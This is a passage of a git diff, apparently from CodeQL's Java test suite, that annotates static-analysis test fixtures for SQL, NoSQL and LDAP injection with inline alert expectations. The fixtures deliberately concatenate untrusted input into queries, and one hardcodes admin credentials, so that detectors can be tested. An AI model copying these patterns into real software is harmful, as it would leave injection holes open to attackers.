ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // BAD: an allowlist is used with constant strings if(badAllowList4.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // GOOD: an allowlist is used with constant strings if(goodAllowList5.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // BAD: the allowlist is in a non-final field if(badAllowList6.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } @@ -125,7 +125,7 @@ class AllowListSanitizerWithJavaUtilList { if(goodAllowList7.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } @@ -137,7 +137,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted.toLowerCase())){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -146,7 +146,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // GOOD: an allowlist is used with constant strings @@ -156,7 +156,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted.toUpperCase())){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -166,7 +166,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // GOOD: an allowlist is used with constant strings @@ -175,7 +175,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -184,7 +184,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // GOOD: an allowlist is used with constant strings @@ -194,7 +194,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -204,7 +204,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // GOOD: an allowlist is used with constant string @@ -216,7 +216,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -228,7 +228,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but it contains a non-compile-time constant element @@ -239,7 +239,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } } @@ -257,7 +257,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } { @@ -266,7 +266,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } { @@ -275,7 +275,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } } @@ -290,7 +290,7 @@ class AllowListSanitizerWithJavaUtilList { if(allowlist.contains(tainted)){ // missing result String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } } diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/AllowListSanitizerWithJavaUtilSet.java b/java/ql/test/query-tests/security/CWE-089/semmle/examples/AllowListSanitizerWithJavaUtilSet.java index e1a5f889c6f..28defcbab29 100644 --- a/java/ql/test/query-tests/security/CWE-089/semmle/examples/AllowListSanitizerWithJavaUtilSet.java +++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/AllowListSanitizerWithJavaUtilSet.java @@ -44,7 +44,7 @@ class AllowListSanitizerWithJavaUtilSet { return String.valueOf(System.currentTimeMillis()); } - public static void main(String[] args) throws IOException, SQLException { + public static void main(String[] args) throws IOException, SQLException { // $ Source[java/sql-injection] badAllowList6 = Set.of("allowed1", getNonConstantString(), "allowed3"); testStaticFields(args); testLocal(args); @@ -60,61 +60,61 @@ class AllowListSanitizerWithJavaUtilSet { if(goodAllowList1.contains(tainted.toLowerCase())){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // GOOD: an allowlist is used with constant strings if(goodAllowList2.contains(tainted.toUpperCase())){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // GOOD: an allowlist is used with constant strings if(goodAllowList3.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // GOOD: an allowlist is used with constant strings if(goodAllowList4.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // BAD: an allowlist is used with constant strings if(badAllowList1.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // BAD: an allowlist is used with constant strings if(badAllowList2.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // BAD: an allowlist is used with constant strings if(badAllowList3.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // BAD: an allowlist is used with constant strings if(badAllowList4.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // GOOD: an allowlist is used with constant strings if(goodAllowList5.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // BAD: the allowlist is in a non-final field if(badAllowList6.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } @@ -124,7 +124,7 @@ class AllowListSanitizerWithJavaUtilSet { if(goodAllowList7.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } @@ -136,7 +136,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted.toLowerCase())){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -145,7 +145,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // GOOD: an allowlist is used with constant strings @@ -155,7 +155,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted.toUpperCase())){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -165,7 +165,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // GOOD: an allowlist is used with constant strings @@ -174,7 +174,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -183,7 +183,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // GOOD: an allowlist is used with constant strings @@ -193,7 +193,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -203,7 +203,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // GOOD: an allowlist is used with constant string @@ -215,7 +215,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but one of the entries is not a compile-time constant @@ -227,7 +227,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } // BAD: an allowlist is used but it contains a non-compile-time constant element @@ -238,7 +238,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } } @@ -256,7 +256,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } { @@ -265,7 +265,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } { @@ -274,7 +274,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } } @@ -289,7 +289,7 @@ class AllowListSanitizerWithJavaUtilSet { if(allowlist.contains(tainted)){ // missing result String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } } } diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/CouchBase.java b/java/ql/test/query-tests/security/CWE-089/semmle/examples/CouchBase.java index ee6c81cdc81..3d3b7179459 100644 --- a/java/ql/test/query-tests/security/CWE-089/semmle/examples/CouchBase.java +++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/CouchBase.java @@ -4,14 +4,14 @@ import com.couchbase.client.java.Bucket; import com.couchbase.client.java.Cluster; public class CouchBase { - public static void main(String[] args) { + public static void main(String[] args) { // $ Source[java/sql-injection] Cluster cluster = Cluster.connect("192.168.0.158", "Administrator", "Administrator"); Bucket bucket = cluster.bucket("travel-sample"); - cluster.analyticsQuery(args[1]); - cluster.analyticsQuery(args[1], null); - cluster.query(args[1]); - cluster.query(args[1], null); - cluster.queryStreaming(args[1], null); - cluster.queryStreaming(args[1], null, null); + cluster.analyticsQuery(args[1]); // $ Alert[java/sql-injection] + cluster.analyticsQuery(args[1], null); // $ Alert[java/sql-injection] + cluster.query(args[1]); // $ Alert[java/sql-injection] + cluster.query(args[1], null); // $ Alert[java/sql-injection] + cluster.queryStreaming(args[1], null); // $ Alert[java/sql-injection] + cluster.queryStreaming(args[1], null, null); // $ Alert[java/sql-injection] } } diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/Mongo.java b/java/ql/test/query-tests/security/CWE-089/semmle/examples/Mongo.java index 3a1cfff39f9..2761a2c52bd 100644 --- a/java/ql/test/query-tests/security/CWE-089/semmle/examples/Mongo.java +++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/Mongo.java @@ -7,19 +7,19 @@ import com.mongodb.DBCursor; import com.mongodb.*; public class Mongo { - public static void main(String[] args) { + public static void main(String[] args) { // $ Source[java/sql-injection] MongoClient mongoClient = new MongoClient(new ServerAddress("localhost", 27017)); DB db = mongoClient.getDB("mydb"); DBCollection collection = db.getCollection("test"); String name = args[1]; String stringQuery = "{ 'name' : '" + name + "'}"; - DBObject databaseQuery = (DBObject) JSON.parse(stringQuery); + DBObject databaseQuery = (DBObject) JSON.parse(stringQuery); // $ Alert[java/sql-injection] DBCursor result = collection.find(databaseQuery); String json = args[1]; - BasicDBObject bdb = BasicDBObject.parse(json); + BasicDBObject bdb = BasicDBObject.parse(json); // $ Alert[java/sql-injection] DBCursor result2 = collection.find(bdb); } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/SqlConcatenated.qlref b/java/ql/test/query-tests/security/CWE-089/semmle/examples/SqlConcatenated.qlref index 32211414c8c..2bab54f9ae6 100644 --- a/java/ql/test/query-tests/security/CWE-089/semmle/examples/SqlConcatenated.qlref +++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/SqlConcatenated.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-089/SqlConcatenated.ql +query: Security/CWE/CWE-089/SqlConcatenated.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/SqlTainted.qlref b/java/ql/test/query-tests/security/CWE-089/semmle/examples/SqlTainted.qlref index dc9ae162efb..a60fa5dde2e 100644 --- a/java/ql/test/query-tests/security/CWE-089/semmle/examples/SqlTainted.qlref +++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/SqlTainted.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-089/SqlTainted.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/Test.java b/java/ql/test/query-tests/security/CWE-089/semmle/examples/Test.java index dee0db129eb..0f357e61a43 100644 --- a/java/ql/test/query-tests/security/CWE-089/semmle/examples/Test.java +++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/Test.java @@ -33,13 +33,13 @@ abstract class Test { Statement statement = connection.createStatement(); String query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + category + "' ORDER BY PRICE"; - ResultSet results = statement.executeQuery(query1); + ResultSet results = statement.executeQuery(query1); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // BAD: don't use user input when building a prepared call { String id = args[1]; String query2 = "{ call get_product_by_id('" + id + "',?,?,?) }"; - PreparedStatement statement = connection.prepareCall(query2); + PreparedStatement statement = connection.prepareCall(query2); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] ResultSet results = statement.executeQuery(); } // BAD: don't use user input when building a prepared query @@ -47,7 +47,7 @@ abstract class Test { String category = args[1]; String query3 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + category + "' ORDER BY PRICE"; - PreparedStatement statement = connection.prepareStatement(query3); + PreparedStatement statement = connection.prepareStatement(query3); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] ResultSet results = statement.executeQuery(); } // BAD: an injection using a StringBuilder instead of string append @@ -59,7 +59,7 @@ abstract class Test { querySb.append("' ORDER BY PRICE"); String querySbToString = querySb.toString(); Statement statement = connection.createStatement(); - ResultSet results = statement.executeQuery(querySbToString); + ResultSet results = statement.executeQuery(querySbToString); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // BAD: executeUpdate { @@ -67,7 +67,7 @@ abstract class Test { String price = args[2]; Statement statement = connection.createStatement(); String query = "UPDATE PRODUCT SET PRICE='" + price + "' WHERE ITEM='" + item + "'"; - int count = statement.executeUpdate(query); + int count = statement.executeUpdate(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // BAD: executeUpdate { @@ -75,7 +75,7 @@ abstract class Test { String price = args[2]; Statement statement = connection.createStatement(); String query = "UPDATE PRODUCT SET PRICE='" + price + "' WHERE ITEM='" + item + "'"; - long count = statement.executeLargeUpdate(query); + long count = statement.executeLargeUpdate(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // OK: validate the input first @@ -95,7 +95,7 @@ abstract class Test { Statement statement = connection.createStatement(); String queryFromField = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + categoryName + "' ORDER BY PRICE"; - ResultSet results = statement.executeQuery(queryFromField); + ResultSet results = statement.executeQuery(queryFromField); // $ Alert[java/concatenated-sql-query] } // BAD: unescaped code using a StringBuilder { @@ -105,7 +105,7 @@ abstract class Test { querySb.append("' ORDER BY PRICE"); String querySbToString = querySb.toString(); Statement statement = connection.createStatement(); - ResultSet results = statement.executeQuery(querySbToString); + ResultSet results = statement.executeQuery(querySbToString); // $ Alert[java/concatenated-sql-query] } // BAD: a StringBuilder with appends of + operations { @@ -115,7 +115,7 @@ abstract class Test { querySb2.append("ORDER BY PRICE"); String querySb2ToString = querySb2.toString(); Statement statement = connection.createStatement(); - ResultSet results = statement.executeQuery(querySb2ToString); + ResultSet results = statement.executeQuery(querySb2ToString); // $ Alert[java/concatenated-sql-query] } } @@ -206,7 +206,7 @@ abstract class Test { String queryWithUserTableName = "SELECT ITEM,PRICE FROM " + userTabName + " WHERE ITEM_CATEGORY='Biscuits' ORDER BY PRICE"; - ResultSet results = statement.executeQuery(queryWithUserTableName); + ResultSet results = statement.executeQuery(queryWithUserTableName); // $ Alert[java/sql-injection] } } @@ -218,13 +218,13 @@ abstract class Test { String prefix = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='"; String suffix = "' ORDER BY PRICE"; switch(prefix) { - case String prefixAlias when prefix.length() > 10 -> statement.executeQuery(prefixAlias + category + suffix); + case String prefixAlias when prefix.length() > 10 -> statement.executeQuery(prefixAlias + category + suffix); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] default -> { } } } } - public static void main(String[] args) throws IOException, SQLException { + public static void main(String[] args) throws IOException, SQLException { // $ Source[java/sql-injection] tainted(args); unescaped(); good(args); diff --git a/java/ql/test/query-tests/security/CWE-090/LdapInjection.java b/java/ql/test/query-tests/security/CWE-090/LdapInjection.java index 7e585581f0b..661062f0a46 100644 --- a/java/ql/test/query-tests/security/CWE-090/LdapInjection.java +++ b/java/ql/test/query-tests/security/CWE-090/LdapInjection.java @@ -42,53 +42,53 @@ import org.springframework.web.bind.annotation.RequestMapping; public class LdapInjection { // JNDI @RequestMapping - public void testJndiBad1(@RequestParam String jBad, @RequestParam String jBadDN, DirContext ctx) + public void testJndiBad1(@RequestParam String jBad, @RequestParam String jBadDN, DirContext ctx) // $ Source throws NamingException { - ctx.search("ou=system" + jBadDN, "(uid=" + jBad + ")", new SearchControls()); + ctx.search("ou=system" + jBadDN, "(uid=" + jBad + ")", new SearchControls()); // $ Alert } @RequestMapping - public void testJndiBad2(@RequestParam String jBad, @RequestParam String jBadDNName, InitialDirContext ctx) + public void testJndiBad2(@RequestParam String jBad, @RequestParam String jBadDNName, InitialDirContext ctx) // $ Source throws NamingException { - ctx.search(new LdapName("ou=system" + jBadDNName), "(uid=" + jBad + ")", new SearchControls()); + ctx.search(new LdapName("ou=system" + jBadDNName), "(uid=" + jBad + ")", new SearchControls()); // $ Alert } @RequestMapping - public void testJndiBad3(@RequestParam String jBad, @RequestParam String jOkDN, LdapContext ctx) + public void testJndiBad3(@RequestParam String jBad, @RequestParam String jOkDN, LdapContext ctx) // $ Source throws NamingException { - ctx.search(new LdapName(List.of(new Rdn("ou=" + jOkDN))), "(uid=" + jBad + ")", new SearchControls()); + ctx.search(new LdapName(List.of(new Rdn("ou=" + jOkDN))), "(uid=" + jBad + ")", new SearchControls()); // $ Alert } @RequestMapping - public void testJndiBad4(@RequestParam String jBadInitial, InitialLdapContext ctx) + public void testJndiBad4(@RequestParam String jBadInitial, InitialLdapContext ctx) // $ Source throws NamingException { - ctx.search("ou=system", "(uid=" + jBadInitial + ")", new SearchControls()); + ctx.search("ou=system", "(uid=" + jBadInitial + ")", new SearchControls()); // $ Alert } @RequestMapping - public void testJndiBad5(@RequestParam String jBad, @RequestParam String jBadDNNameAdd, InitialDirContext ctx) + public void testJndiBad5(@RequestParam String jBad, @RequestParam String jBadDNNameAdd, InitialDirContext ctx) // $ Source throws NamingException { - ctx.search(new LdapName("").addAll(new LdapName("ou=system" + jBadDNNameAdd)), "(uid=" + jBad + ")", new SearchControls()); + ctx.search(new LdapName("").addAll(new LdapName("ou=system" + jBadDNNameAdd)), "(uid=" + jBad + ")", new SearchControls()); // $ Alert } @RequestMapping - public void testJndiBad6(@RequestParam String jBad, @RequestParam String jBadDNNameAdd2, InitialDirContext ctx) + public void testJndiBad6(@RequestParam String jBad, @RequestParam String jBadDNNameAdd2, InitialDirContext ctx) // $ Source throws NamingException { LdapName name = new LdapName(""); name.addAll(new LdapName("ou=system" + jBadDNNameAdd2).getRdns()); - ctx.search(new LdapName("").addAll(name), "(uid=" + jBad + ")", new SearchControls()); + ctx.search(new LdapName("").addAll(name), "(uid=" + jBad + ")", new SearchControls()); // $ Alert } @RequestMapping - public void testJndiBad7(@RequestParam String jBad, @RequestParam String jBadDNNameToString, InitialDirContext ctx) + public void testJndiBad7(@RequestParam String jBad, @RequestParam String jBadDNNameToString, InitialDirContext ctx) // $ 